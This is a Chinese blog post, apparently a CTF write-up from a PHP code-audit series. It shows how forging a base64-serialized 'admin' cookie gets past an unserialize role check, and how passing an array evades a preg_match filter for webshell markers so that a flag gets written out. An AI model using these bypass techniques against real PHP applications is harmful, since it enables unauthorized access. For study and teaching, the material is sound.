zoukankan      html  css  js  c++  java
  • PHP代码审计分段讲解(14)

    30题利用提交数组绕过逻辑

    本篇博客是PHP代码审计分段讲解系列题解的最后一篇,对于我这个懒癌患者来说,很多事情知易行难,坚持下去,继续学习和提高自己。

    源码如下:

    <?php 
    $role = "guest";
    $flag = "flag{test_flag}";
    $auth = false;
    if(isset($_COOKIE["role"])){
        $role = unserialize(base64_decode($_COOKIE["role"]));
        if($role === "admin"){
            $auth = true;
        }
        else{
            $auth = false;
        }
    }
    else{
        $role = base64_encode(serialize($role));
        setcookie('role',$role);
    }
    if($auth){
        if(isset($_POST['filename'])){
            $filename = $_POST['filename'];
            $data = $_POST['data'];
            if(preg_match('[<>?]', $data)) {
                die('No No No!'.$data);
            }
            else {
                $s = implode($data);
                if(!preg_match('[<>?]', $s)){
                    $flag='None.';
                }
                $rand = rand(1,10000000);
                $tmp="./uploads/".md5(time() + $rand).$filename;
                file_put_contents($tmp, $flag);
                echo "your file is in " . $tmp;
            }
        }
        else{
            echo "Hello admin, now you can upload something you are easy to forget.";
            echo "<br />there are the source.<br />";
            echo '<textarea rows="10" cols="100">';
            echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__)));
            echo '</textarea>';
        }
    }
    else{
        echo "Sorry. You have no permissions.";
    }
    ?>

    首先给出了$role和$auth的初始值

    $role = "guest";
    $auth = false;

    如果在COOKIE中没有传值的话,就会进入else,将初始值设定在COOKIE里

    else{
        $role = base64_encode(serialize($role));
        setcookie('role',$role);
    }

    从后面的逻辑上看,我们需要令

    $auth=true

    所以需要手动传入role值,通过逻辑

    if(isset($_COOKIE["role"])){
        $role = unserialize(base64_decode($_COOKIE["role"]));
        if($role === "admin"){
            $auth = true;
        }
        else{
            $auth = false;
        }
    }

    这里对传入的 role 进行base64解密后反序列化,将结果赋值给$role

    $role = unserialize(base64_decode($_COOKIE["role"]));

    然后想要令

    $auth=true

    前提条件为:

    $role === "admin"

    这个是我们可以控制的

    编写代码

    <?php
        $role='admin';
        $role1=base64_encode(serialize($role));
        echo $role1;
    ?>

    得到

    role=czo1OiJhZG1pbiI7

    1.png

    可以看到成功绕过了第一个点

    继续往下看

    当 $auth 为 true的时候,进行:

    	if(isset($_POST['filename'])){
            $filename = $_POST['filename'];
            $data = $_POST['data'];
            if(preg_match('[<>?]', $data)) {
                die('No No No!'.$data);
            }
            else {
                $s = implode($data);
                if(!preg_match('[<>?]', $s)){
                    $flag='None.';
                }
                $rand = rand(1,10000000);
                $tmp="./uploads/".md5(time() + $rand).$filename;
                file_put_contents($tmp, $flag);
                echo "your file is in " . $tmp;
            }
        }

    可以看出来是上传文件的代码,具体为:

    传入文件名和文件内容:filename 和 data

        if(isset($_POST['filename'])){
            $filename = $_POST['filename'];
            $data = $_POST['data'];

    判断$data中是否有一句话木马标识,有的话则退出

    	if(preg_match('[<>?]', $data)) {
                die('No No No!'.$data);
            }

    没有的话 else 结构,这里有一句

    $s = implode($data);

    应该是上传一句话木马的突破点。

    关于 implode()函数,有:

    定义:

    implode()函数返回由数组元素组合成的字符串

    示例:

    <?php
    $arr = array('Hello','World!','Beautiful','Day!');
    echo implode(" ",$arr);
    ?>

    输出:

    Hello World! Beautiful Day!

    而我们在前面的代码审计中,知道preg_match()函数只能处理字符串,当传入的变量是数组是会返回false,这里正好满足,可以编写代码测试

    <?php
        $data[]='<?php phpinfo();?>';
        if(preg_match('[<>?]', $data)) {
                die('No No No!'.$data);
        }else{
            echo "yes!";
        }
    ?>

    输出为

    yes!
    
    PHP Warning:  preg_match() expects parameter 2 to be string, array given in /usercode/file.php on line 3

    虽然有警告,但是还是成功绕过了。

    这里的代码

    	if(!preg_match('[<>?]', $s)){
                    $flag='None.';
                }

    表示如果变量$s中没有匹配到特定字符的话就令$flag为空,这样在后面的文件写入时,也不能获取到flag了。

    $rand = rand(1,10000000);
    $tmp="./uploads/".md5(time() + $rand).$filename;
    file_put_contents($tmp, $flag);

    这里是生成一个随机的文件名,并且将 flag 内容写进去

    最后是输出文件名

    echo "your file is in " . $tmp;

    我们绕过后 flag 会写入到 文件名随机生成的文件中,该文件名最后是可知的。

    按照之前分析的过程,很容易可以构建出payload

    3.jpg

    访问获取flag

     结束

  • 相关阅读:
    女白领在家玩打地鼠游戏,无意间学会python编程,还有教程有源码
    Python入门小游戏,炫酷打地鼠教程第二部分,都是干货
    从python入门开始,玩这个炸弹超人小游戏,打通关就可以掌握编程
    Python如何入门?直接按这个方式玩炸弹超人小游戏,就能掌握编程
    Python如何入门?搭配这些游戏,学习高效还有趣
    资深程序员教你,利用python预测NBA比赛结果,太精彩了
    Python入门小迷宫,走完这个迷宫,就能掌握python编程基础
    从零基础开始,用python手把手教你玩跳一跳小游戏,直接打出高分
    戏精程序员,用python开发了一个女朋友,天天秀恩爱
    Python入门小游戏之坦克大战,不懂编程都能做出来,附所有源码
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/13393754.html
Copyright © 2011-2022 走看看